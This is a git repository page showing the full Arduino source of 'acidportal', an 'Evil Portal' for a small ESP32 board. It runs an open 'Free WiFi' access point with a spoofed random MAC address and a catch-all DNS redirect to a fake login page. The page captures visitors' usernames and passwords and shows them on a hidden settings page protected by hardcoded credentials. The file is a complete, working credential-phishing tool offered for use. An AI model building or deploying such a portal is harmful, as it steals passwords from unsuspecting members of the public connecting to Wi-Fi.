acidportal- 😈 Worlds smallest Evil Portal on a LilyGo T-QT |
git clone git://git.acid.vegas/acidportal.git |
Log | Files | Refs | Archive | README | LICENSE |
main.ino (8567B)
1 // Main Includes 2 #include <vector> 3 4 // Arduino Libraries 5 #include <Arduino.h> 6 #include <AsyncTCP.h> 7 #include <DNSServer.h> 8 #include <ESPAsyncWebServer.h> 9 #include <esp_system.h> 10 #include "OneButton.h" 11 #include <Preferences.h> 12 #include <TFT_eSPI.h> 13 #include <WiFi.h> 14 15 16 // T-QT Pins 17 #define PIN_BAT_VOLT 4 18 #define PIN_LCD_BL 10 19 #define PIN_BTN_L 0 20 #define PIN_BTN_R 47 21 22 23 AsyncWebServer server(80); 24 DNSServer dnsServer; 25 IPAddress apIP; 26 OneButton btn_left(PIN_BTN_L, true); 27 OneButton btn_right(PIN_BTN_R, true); 28 Preferences preferences; 29 std::vector<String> loginAttempts; 30 String ssid; 31 TFT_eSPI tft = TFT_eSPI(128, 128); // Default size for the T-QT 32 33 bool displayOn = true; 34 int hits = 0; 35 int marqueePosition = 0; 36 unsigned long lastMarqueeUpdate = 0; 37 38 39 void buttonLeftPressed() { 40 if (displayOn) { 41 digitalWrite(PIN_LCD_BL, LOW); 42 displayOn = false; 43 } else { 44 digitalWrite(PIN_LCD_BL, HIGH); 45 displayOn = true; 46 } 47 } 48 49 50 String formatNumber(int num) { 51 String str = String(num); 52 int len = str.length(); 53 String formatted = ""; 54 55 for (int i = 0; i < len; i++) { 56 if (i > 0 && (len - i) % 3 == 0) 57 formatted += ","; 58 formatted += str[i]; 59 } 60 61 return formatted; 62 } 63 64 65 IPAddress getRandomIPAddress() { 66 while (true) { 67 byte octet1 = random(1, 224); // Avoid 0 & 224-255 (multicast/reserved) 68 byte octet2 = random(0, 256); 69 byte octet3 = random(0, 256); 70 byte octet4 = random(1, 255); // Avoid 0 (network) & 255 (broadcast) 71 72 // Avoid private IP ranges 73 if (octet1 == 10) continue; // 10.0.0.0/8 74 if (octet1 == 172 && octet2 >= 16 && octet2 <= 31) continue; // 172.16.0.0/12 75 if (octet1 == 192 && octet2 == 168) continue; // 192.168.0.0/16 76 77 // Avoid other reserved ranges 78 if (octet1 == 127) continue; // Loopback 79 if (octet1 == 169 && octet2 == 254) continue; // Link-local 80 if (octet1 == 192 && octet2 == 0 && octet3 == 2) continue; // Test-Net-1 81 if (octet1 == 198 && (octet2 == 51 || octet2 == 18)) continue; // Test-Net-2 and Test-Net-3 82 if (octet1 >= 224) continue; // Class D and E 83 84 return IPAddress(octet1, octet2, octet3, octet4); 85 } 86 } 87 88 89 void handleClearAttempts(AsyncWebServerRequest *request) { 90 loginAttempts.clear(); 91 updateDisplaySSID(); 92 request->redirect("/settings"); 93 } 94 95 96 void handleLogin(AsyncWebServerRequest *request) { 97 String username = request->arg("username"); 98 String password = request->arg("password"); 99 100 Serial.println("Login attempt: " + username + ":" + password); 101 102 loginAttempts.push_back(username + ":" + password); 103 updateDisplaySSID(); 104 105 if (username == "acidvegas" && password == "acidvegas") 106 request->redirect("/settings"); 107 else 108 request->send(200, "text/html", "<html><body><h1>Login received</h1></body></html>"); 109 } 110 111 112 void handleRoot(AsyncWebServerRequest *request) { 113 String html = "<html>" 114 " <body>" 115 " <h1>Welcome to " + ssid + "</h1>" 116 " <form action='/' method='post'>" 117 " Username: <input type='text' name='username' maxlength='100'><br>" 118 " Password: <input type='password' name='password' maxlength='100'><br>" 119 " <input type='submit' value='Log In'>" 120 " </form>" 121 " </body>" 122 "</html>"; 123 124 request->send(200, "text/html", html); 125 126 hits++; 127 } 128 129 130 void handleSettings(AsyncWebServerRequest *request) { 131 String html = "<html>" 132 " <body>" 133 " <h1>Settings</h1>" 134 " <form action='/settings' method='post'>" 135 " New SSID: <input type='text' name='new_ssid' minlength='1' maxlength='32'><br>" 136 " <input type='submit' value='Update SSID'>" 137 " </form>" 138 " <form action='/clear' method='post'>" 139 " <input type='submit' value='CLEAR Login Attempts'>" 140 " </form>" 141 " <h2>Login Attempts:</h2>"; 142 143 for (const auto& attempt : loginAttempts) 144 html += " " + attempt + "<br>"; 145 146 html += " </body>"; 147 html += "</html>"; 148 149 request->send(200, "text/html", html); 150 } 151 152 153 void handleUpdateSSID(AsyncWebServerRequest *request) { 154 String newSSID = request->arg("new_ssid"); 155 156 if (newSSID.length() > 0 && newSSID.length() <= 32) { 157 ssid = newSSID; 158 preferences.putString("ssid", ssid); 159 160 setupWiFiAP(); 161 162 marqueePosition = 0; 163 updateDisplaySSID(); 164 165 request->redirect("/settings"); 166 } else { 167 String html = "<html>" 168 " <body>" 169 " <h1>Error</h1>" 170 " <p>SSID must be between 1 and 32 characters.</p>" 171 " <a href='/settings'>Back to Settings</a>" 172 " </body>" 173 "</html>"; 174 175 request->send(400, "text/html", html); 176 } 177 } 178 179 180 void loadPreferences() { 181 Serial.println("Loading preferences..."); 182 preferences.begin("config", false); 183 ssid = preferences.getString("ssid", "Free WiFi"); 184 Serial.println("SSID loaded: " + ssid); 185 } 186 187 188 void loop() { 189 dnsServer.processNextRequest(); 190 updateMarquee(); 191 btn_left.tick(); 192 btn_right.tick(); 193 194 delay(50); 195 } 196 197 198 void setRandomMAC() { 199 uint8_t mac[6]; 200 201 mac[0] = 0x02; // Locally administered address (use 0x00 for global) 202 mac[1] = random(0, 256); 203 mac[2] = random(0, 256); 204 mac[3] = random(0, 256); 205 mac[4] = random(0, 256); 206 mac[5] = random(0, 256); 207 208 esp_base_mac_addr_set(mac); 209 210 if (esp_base_mac_addr_get(mac) == ESP_OK) 211 Serial.println("Random MAC address set to " + String(mac[0], HEX) + ":" + String(mac[1], HEX) + ":" + String(mac[2], HEX) + ":" + String(mac[3], HEX) + ":" + String(mac[4], HEX) + ":" + String(mac[5], HEX)); 212 else 213 Serial.println("Failed to set MAC address."); 214 } 215 216 217 void setup() { 218 Serial.begin(115200); 219 Serial.println("Starting ACID Portal..."); 220 221 Serial.println("Generating random seed..."); 222 uint32_t seed = esp_random(); 223 randomSeed(seed); 224 225 loadPreferences(); 226 227 setupWiFiAP(); 228 setupServer(); 229 230 Serial.println("Initializing display..."); 231 tft.begin(); 232 233 updateDisplaySSID(); 234 235 btn_left.attachClick(buttonLeftPressed); 236 //btn_right.attachClick(CHANGEME); 237 } 238 239 240 void setupServer() { 241 Serial.println("Starting DNS server..."); 242 dnsServer.start(53, "*", apIP); 243 244 Serial.println("Setting up the HTTP server..."); 245 server.on("/", HTTP_GET, handleRoot); 246 server.on("/", HTTP_POST, handleLogin); 247 server.on("/settings", HTTP_GET, handleSettings); 248 server.on("/settings", HTTP_POST, handleUpdateSSID); 249 server.on("/clear", HTTP_POST, handleClearAttempts); 250 server.onNotFound([](AsyncWebServerRequest *request) { 251 request->redirect("http://" + apIP.toString()); 252 }); 253 server.begin(); 254 Serial.println("HTTP server started."); 255 } 256 257 258 void setupWiFiAP() { 259 if (WiFi.softAPgetStationNum() > 0) { 260 Serial.println("Shutting down existing access point..."); 261 WiFi.softAPdisconnect(true); 262 } 263 264 setRandomMAC(); 265 266 apIP = getRandomIPAddress(); 267 Serial.println("Using IP address: " + apIP.toString()); 268 269 WiFi.mode(WIFI_AP); 270 WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0)); 271 WiFi.softAP(ssid.c_str()); 272 273 Serial.println("Access Point (" + ssid + ") started on " + WiFi.softAPIP()); 274 } 275 276 277 void updateDisplaySSID() { 278 tft.fillScreen(TFT_BLACK); 279 280 tft.setTextSize(2); 281 tft.setTextColor(TFT_GREEN); 282 283 int textWidth = tft.textWidth("ACID"); 284 int xPos = (tft.width() - textWidth) / 2; 285 tft.setCursor(xPos, 5); 286 tft.println("ACID"); 287 288 textWidth = tft.textWidth("PORTAL"); 289 xPos = (tft.width() - textWidth) / 2; 290 tft.setCursor(xPos, 25); 291 tft.println("PORTAL"); 292 293 tft.setTextSize(1); 294 295 String ipString = WiFi.softAPIP().toString(); 296 textWidth = tft.textWidth(ipString); 297 xPos = (tft.width() - textWidth) / 2; 298 int yPos = (tft.height() - 16) / 2; 299 tft.setCursor(xPos, yPos); 300 tft.setTextColor(TFT_PURPLE); 301 tft.print(ipString); 302 303 String hitCount = formatNumber(hits) + " hits"; 304 textWidth = tft.textWidth(hitCount); 305 xPos = (tft.width() - textWidth) / 2; 306 tft.setCursor(xPos, yPos + 10); 307 tft.setTextColor(TFT_CYAN); 308 tft.print(hitCount); 309 310 String credentialCount = formatNumber(loginAttempts.size()) + " logs"; 311 textWidth = tft.textWidth(credentialCount); 312 xPos = (tft.width() - textWidth) / 2; 313 tft.setCursor(xPos, yPos + 20); 314 tft.setTextColor(TFT_CYAN); 315 tft.print(credentialCount); 316 317 marqueePosition = 0; 318 319 // Clear the bottom portion of the screen for the marquee 320 tft.fillRect(0, tft.height() - 12, tft.width(), 12, TFT_BLACK); 321 } 322 323 324 void updateMarquee() { 325 unsigned long currentTime = millis(); 326 if (currentTime - lastMarqueeUpdate >= 50) { 327 lastMarqueeUpdate = currentTime; 328 329 // Clear the bottom portion of the screen 330 tft.fillRect(0, tft.height() - 10, tft.width(), 10, TFT_BLACK); 331 332 int textWidth = tft.textWidth(ssid); 333 int startX = tft.width() - marqueePosition; 334 335 // Draw the text only if it's on screen 336 if (startX < tft.width()) { 337 tft.setCursor(startX, tft.height() - 10); 338 tft.setTextWrap(false); // Prevent text wrapping 339 tft.setTextColor(TFT_YELLOW); 340 tft.print(ssid); 341 } 342 343 marqueePosition++; 344 345 if (marqueePosition > textWidth + tft.width()) 346 marqueePosition = 0; 347 } 348 }